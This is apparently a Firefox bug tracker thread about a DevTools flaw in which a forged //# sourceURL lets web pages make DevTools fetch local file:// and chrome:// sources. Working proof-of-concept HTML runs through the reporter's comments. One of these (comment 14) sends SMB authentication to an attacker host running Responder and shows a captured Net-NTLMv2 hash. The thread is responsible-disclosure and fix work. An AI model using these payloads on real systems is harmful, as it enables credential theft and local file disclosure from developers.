Attacker-controlled //# sourceURL lets web content bypass DevTools sourcemap protocol checks and read local file:// sources
Categories
(DevTools :: Framework, defect, P2)
Tracking
(firefox-esr115 wontfix, firefox-esr140153+ fixed, firefox152 wontfix, firefox153+ fixed, firefox154+ fixed)
People
(Reporter: tomoya2517, Assigned: jdescottes)
References
Details
(Keywords: csectype-disclosure, reporter-external, sec-moderate, Whiteboard: [client-bounty-form][adv-main153+][adv-ESR140.13+])
Attachments
(10 files, 1 obsolete file)
|
651 bytes,
text/html
|
Details | |
|
4.34 MB,
video/mp4
|
Details | |
|
201.15 KB,
image/png
|
Details | |
|
486 bytes,
text/html
|
Details | |
|
931 bytes,
text/html
|
Details | |
|
964 bytes,
text/html
|
Details | |
|
6.35 MB,
video/mp4
|
Details | |
|
48 bytes,
text/x-phabricator-request
|
Details | Review | |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-esr140+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-beta+
|
Details | Review |
Platform: Desktop
Version: Firefox Nightly 151.0a1 (2026-03-28)
Firefox DevTools currently decides whether privileged sourcemap fetches for file:, chrome:, and moz-extension: are allowed based on the generated source's sourceMapBaseURL.
For JavaScript sources, sourceMapBaseURL is derived from //# sourceURL= when present. Because sourceURL is attacker-controlled for eval() / new Function() code, a web page can synthesize a generated source whose URL appears to be a file: URL even though the page itself was loaded from ordinary web content.
Once a developer opens DevTools, the source-map loader treats that synthetic file: URL as trusted enough to allow privileged file: fetches. A malicious page can therefore provide a data-URL source map whose sources[] entry points to a local file, and DevTools will fetch and display the local file contents as an "original source".
This appears to be the same class of bug that Firefox fixed in CVE-2022-28283 (Bug 1754066) and then tightened in Bug 1756763, but the current JavaScript sourceURL path still allows web content to synthesize the privileged-looking base URL used by the sourcemap allowlist.
Steps to Reproduce:
This reproduction focuses on the concrete file: variant because it is the easiest to demonstrate end-to-end. Based on the current code paths, the same trust issue also appears relevant to chrome:, because the allowlist still keys off the generated source's base URL.
- Save the
poc.htmlfile below in any local directory on a Windows machine. - Open PowerShell in that directory and serve it over HTTP, for example:
python3 -m http.server 8000 - Open Firefox and navigate to
http://127.0.0.1:8000/poc.html. - Open DevTools (F12) and select the Debugger panel.
- Press Ctrl+P and open the generated source
generated-local.js. - Observe that DevTools resolves the source map and exposes
file:///C:/Windows/System32/drivers/etc/hostsas an original source, even though the inspected page is an ordinaryhttp://page. - Open that original source and observe that the contents of the Windows hosts file are displayed inside DevTools, for example lines such as
127.0.0.1 localhost.
Security Impact:
A web page being actively inspected by a developer can influence DevTools into issuing privileged sourcemap-related fetches for URLs that the page itself could never load. In the PoC below, this lets ordinary http:// content cause DevTools to read file:///C:/Windows/System32/drivers/etc/hosts and display its contents as an original source.
This is the same general boundary problem discussed in Bug 1754066: sourcemap resources are being fetched by DevTools with more privilege than the inspected page, instead of being constrained by the page's own principal and normal web security model. The concrete impact shown here is disclosure of a local file within the DevTools UI. More broadly, the same design mistake is concerning because it means attacker-controlled sourcemap metadata can steer privileged fetches toward special schemes such as file: and potentially chrome:, where unintended effects are much harder to reason about safely.
| Reporter | ||
Comment 1•6 months ago
|
||
| Reporter | ||
Comment 2•6 months ago
|
||
Updated•6 months ago
|
Comment 3•6 months ago
|
||
This could be intentional use by developers, though, right? If I'm developing on my local machine then I might want the source files to point to local files, even when loading http://localhost/ or even a remote copy of the source (as opposed to exposing the source on a remote host).
A malicious page can therefore provide a data-URL source map whose sources[] entry points to a local file, and DevTools will fetch and display the local file contents as an "original source".
Right - but why is this a security compromise? The remote page does not gain access to the result of the file: URL fetch, does it? Does the load happen in the same process as the web content is loaded? (I expect not...)
| Reporter | ||
Comment 4•6 months ago
|
||
Thanks, you are right. I reported this because CVE-2022-28283 treated similar DevTools sourceMapURL behavior — pulling in local files or other otherwise inaccessible resources without appropriate security checks — as a vulnerability. That led me to think this should also be security-sensitive. But I agree with your point that, in this case, there does not seem to be an actual security impact.
Comment 5•6 months ago
|
||
(In reply to Tomoya Nakanishi from comment #4)
Thanks, you are right. I reported this because CVE-2022-28283 treated similar DevTools sourceMapURL behavior — pulling in local files or other otherwise inaccessible resources without appropriate security checks — as a vulnerability. That led me to think this should also be security-sensitive. But I agree with your point that, in this case, there does not seem to be an actual security impact.
tip: for CVEs you can simply put the CVE identifier into bugzilla to get to the corresponding bug. This turns out to be bug 1754066 which I filed. There is extensive discussion there including about why file:/// should be allowed.
After that bug, I would expect chrome:// sources to be blocked (for webpages). comment 0 is a bit fuzzy about whether this is the case?
| Reporter | ||
Comment 6•6 months ago
|
||
Thank you for the pointer. I should have linked to bug 1754066 directly.
To answer your question directly: yes, chrome:// sources are also accessible through the same method.
<!doctype html>
<meta charset="utf-8">
<title>chrome:// sourcemap PoC</title>
<p>Open DevTools (F12) → Debugger → Ctrl+P → open browser.js</p>
<script>
const map = {
version: 3,
file: "chrome-poc.js",
sources: ["chrome://browser/content/browser.js"],
names: [],
mappings: "AAAA"
};
const mapURL =
"data:application/json;base64," + btoa(JSON.stringify(map));
const code = [
"void 0;",
"//# sourceURL=chrome://browser/content/chrome-poc.js",
"//# sourceMappingURL=" + mapURL
].join("\n");
eval(code);
</script>
| Reporter | ||
Comment 7•6 months ago
|
||
| Assignee | ||
Comment 8•6 months ago
•
|
||
DevTools seems to think the sourcemap base url is chrome:// while I think it should flag it as data:.
That being said, I'm not sure what this achieves compared to using
<script src="chrome://browser/content/browser.js"></script>
?
Updated•6 months ago
|
| Reporter | ||
Comment 9•6 months ago
|
||
Sorry, chrome://browser/content/browser.js was a poor example — the browser package is registered with contentaccessible=yes (https://searchfox.org/mozilla-central/source/browser/base/jar.mn#5), so it can be loaded from web content regardless.
The difference shows up with resources that do not have contentaccessible=yes, such as chrome://devtools/content/framework/toolbox-init.js
(https://searchfox.org/mozilla-central/source/devtools/client/jar.mn#6):
- Case 1 —
<script src="chrome://devtools/content/framework/toolbox-init.js">: The script does not load, and its source is not visible in the DevTools Sources panel. - Case 2 — Only
sourceMappingURLspecified (no sourceURL trick): The fix for CVE-2022-28283 blocks the fetch — DevTools shows Error while fetching an original source:unsupported protocol for sourcemap request chrome://devtools/content/framework/toolbox-init.js. - Case 3 —
sourceURLset to achrome://URL together withsourceMappingURL: The full source text ofchrome://devtools/content/framework/toolbox-init.jsis displayed in the DevTools Sources panel.
| Reporter | ||
Comment 10•6 months ago
|
||
| Reporter | ||
Comment 11•6 months ago
|
||
| Reporter | ||
Comment 12•6 months ago
|
||
| Assignee | ||
Comment 13•6 months ago
|
||
Alright thanks for the clarification, but I don't really understand how this is a security issue and can be exploited?
The script is not effectively loaded in the page, nor accessible to the page.
Daniel: we can remove chrome altogether but can you share why this is considered as sec-moderate? The exploit is not clear to me.
| Assignee | ||
Updated•6 months ago
|
| Reporter | ||
Comment 14•6 months ago
|
||
Thanks for the feedback. I agree that the chrome:// example was not a good way to demonstrate the impact — the fetched source is not executed in the page, and the page does not get the bytes back.
After digging further into the same sourceURL mechanism, I found a more serious consequence on Windows: the privileged file: fetch can be steered to a UNC path, which triggers outbound SMB authentication and leaks Net-NTLMv2 credentials to an attacker-controlled server.
Here are the full reproduction steps. In this setup the attacker machine is a Linux host running Responder, and the victim is a Windows machine running Firefox Nightly.
Attacker machine (Linux):
-
Start Responder to listen for incoming SMB authentication:
responder -I eth0 -v -
Save the following PoC as
poc.html:<!doctype html> <meta charset="utf-8"> <title>DevTools UNC / NTLM PoC</title> <p>Open DevTools (F12) -> Debugger -> Ctrl+P -> generated-unc.js</p> <script> const ATTACKER_HOST = "172.28.128.129"; // replace with the attacker's IP const SHARE_NAME = "share"; const TARGET_FILE = "probe.txt"; const originalSourceURL = `file://///${ATTACKER_HOST}/${SHARE_NAME}/${TARGET_FILE}`; const map = { version: 3, file: "generated-unc.js", sources: [originalSourceURL], names: [], mappings: "AAAA" }; const mapURL = "data:application/json;base64," + btoa(JSON.stringify(map)); const code = [ "console.log('devtools unc ntlm poc');", "//# sourceURL=file:///C:/Windows/Temp/generated-unc.js", "//# sourceMappingURL=" + mapURL ].join("\n"); eval(code); </script> -
Serve the PoC over HTTP:
python3 -m http.server 8000
Victim machine (Windows):
- Open Firefox Nightly and navigate to
http://172.28.128.129:8000/poc.html. - Open DevTools with F12 and select the Debugger panel.
- Press Ctrl+P to open Quick Open, then select
probe.txt.
Result (attacker machine):
- Responder prints the captured Net-NTLMv2 hash, for example:
[SMB] NTLMv2-SSP Client : 172.28.128.128 [SMB] NTLMv2-SSP Username : R01\user2 [SMB] NTLMv2-SSP Hash : user2::R01:27b98045420de705:BE89CD085B0E27543DEC46402B6875DD:010100000000000080828F72D1C8DC01675BF7727B6FBE3E00000000020008004E0057003500470001001E00570049004E002D0050005400360035005500350037004A0034004500580004003400570049004E002D0050005400360035005500350037004A003400450058002E004E005700350047002E004C004F00430041004C00030014004E005700350047002E004C004F00430041004C00050014004E005700350047002E004C004F00430041004C000700080080828F72D1C8DC0106000400020000000800300030000000000000000100000000200000718CE5A7B60D3E4C39A23E357DB01CFF3A4B8957366B96F8ECD9F2299681C0500A001000000000000000000000000000000000000900260063006900660073002F003100370032002E00320038002E003100320038002E003100320039000000000000000000
The impact is that a remote attacker can host a malicious page over normal HTTP, and if a developer inspects that page in DevTools, Windows will send Net-NTLMv2 credentials to the attacker's server.
That credential material is itself security-sensitive. In its guidance for Outlook CVE-2023-23397, Microsoft describes the same Net-NTLMv2 artifact as usable either for relay against other NTLM-enabled services or for offline cracking.
https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/
A concrete walk-through of the offline cracking step:
https://0xdf.gitlab.io/2019/01/13/getting-net-ntlm-hases-from-windows.html
Ordinary page-controlled subresource loads do not reach UNC/SMB this way. Firefox's normal content-loading path applies URI security checks that reject file: targets for ordinary web content. The issue here is specifically that DevTools' privileged sourcemap fetch is outside that normal content path, and //# sourceURL= can make it treat an attacker-controlled eval source as if it were a trusted file: source.
| Reporter | ||
Comment 15•6 months ago
|
||
Comment 16•6 months ago
|
||
(In reply to Julian Descottes [:jdescottes] from comment #13)
Daniel: [...] can you share why this is considered as sec-moderate? The exploit is not clear to me.
honestly it was a quick gut-check without much though beyond "this is violating a security boundary" and the rating of bug 1754066. Those boundaries usually protect us from future problems even if we can't think of a way to abuse it in every specific situation. I wasn't thinking about the NTLM hash leaks at the time, but that's an example. in bug 1756763 comment 11 we decided file:// was OK if the original source was file://. But I interpreted "original source" to be the unmapped web-loaded script we are debugging, and I guess that's not what you meant by that
I do see that a developer of a site might want to load their site source from their own local machine, and it's a convenient and good thing for them. But it's not "the web", and for everyone else other than that developer it's either useless (they can't load the source) or a possible attack. This is somewhat like connections to a localhost server. There are completely legit apps that do that, and also widespread abuse that we're trying to limit with the new "Local Network Access" permission requirement. Debugging using a web-loaded page with local file sourceURL/sourceMap should require an opt-in. A global setting like turning on chrome/add-on debugging? A per-site permission prompt like Local Network Access? The former sounds better, easier and more consistent with other powerful developer features.
| Assignee | ||
Comment 18•4 months ago
|
||
I wasn't thinking about the NTLM hash leaks at the time, but that's an example. in bug 1756763 comment 11 we decided file:// was OK if the original source was file://. But I interpreted "original source" to be the unmapped web-loaded script we are debugging, and I guess that's not what you meant by that
Reading the original bug again, I don't think this was intentional on my side. We should rely on a URL that can't be driven by the source map itself.
| Assignee | ||
Updated•4 months ago
|
| Assignee | ||
Comment 19•4 months ago
|
||
Let's try to identify the real URL of the source first. If we don't have a reliable way to do that, we could fallback on the URL of the page we are debugging to identify allowed protocols.
| Assignee | ||
Updated•4 months ago
|
Comment 20•4 months ago
|
||
About the url of source actors, I think DevTools Source actor is explicitely trying to support //# sourceURL= override over there.
You may see the original source actor url in source.url whereas source.displayURL exposes the overrides.
The url is exposed to the client from there (and uses the function linked before).
| Assignee | ||
Comment 21•4 months ago
|
||
(In reply to Alexandre Poirot [:ochameau] from comment #20)
About the url of source actors, I think DevTools Source actor is explicitely trying to support
//# sourceURL=override over there.
You may see the original source actor url insource.urlwhereassource.displayURLexposes the overrides.
The url is exposed to the client from there (and uses the function linked before).
Correct, I'm twisting that a bit in order to use the "real" source for the sourceMapBaseURL.
That being said, I also noticed that my initial patch in Bug 1756763 had more checks for chrome:// and moz-extension://, and we would only accept those protocols if both the sourcemap URL and the target actor URL both used that protocol. file:/ was excluded from this restriction, but still it's interesting to note.
For now, let's try to return an accurate (non-forgeable) sourcemap base url and use that for the network request check.
| Assignee | ||
Comment 22•4 months ago
|
||
| Assignee | ||
Comment 23•4 months ago
|
||
Comment 24•3 months ago
|
||
Comment on attachment 9593179 [details]
(secure)
Revision D304525 was moved to bug 2049303. Setting attachment 9593179 [details] to obsolete.
Comment 25•3 months ago
|
||
Comment 26•3 months ago
|
||
Comment 27•3 months ago
|
||
Please request Beta and ESR140 uplift on this.
| Assignee | ||
Comment 28•3 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D304524
Updated•3 months ago
|
| Assignee | ||
Comment 29•3 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D304524
Updated•3 months ago
|
Comment 30•3 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined/Reason for urgency: security issue for devtools + sourcemaps. tests have been created but have not landed yet.
- Code covered by automated testing?: no
- Fix verified in Nightly?: yes
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing: N/A
- Risk associated with taking this patch: low
- Explanation of risk level: Only impacts devtools + debugger
- String changes made/needed?: N/A
- Is Android affected?: no
Comment 31•3 months ago
|
||
firefox-esr140 Uplift Approval Request
- User impact if declined/Reason for urgency: devtools security bug related to sourcemaps (tests will land later)
- Code covered by automated testing?: no
- Fix verified in Nightly?: yes
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing: N/A
- Risk associated with taking this patch: low
- Explanation of risk level: devtools / debugger only
- String changes made/needed?: N/A
- Is Android affected?: no
| Assignee | ||
Updated•3 months ago
|
Updated•3 months ago
|
Updated•3 months ago
|
Comment 32•3 months ago
|
||
| uplift | ||
Updated•3 months ago
|
Updated•3 months ago
|
Comment 33•3 months ago
|
||
| uplift | ||
Updated•3 months ago
|
Updated•2 months ago
|
Updated•2 months ago
|
Updated•2 months ago
|
Updated•24 days ago
|
Description
•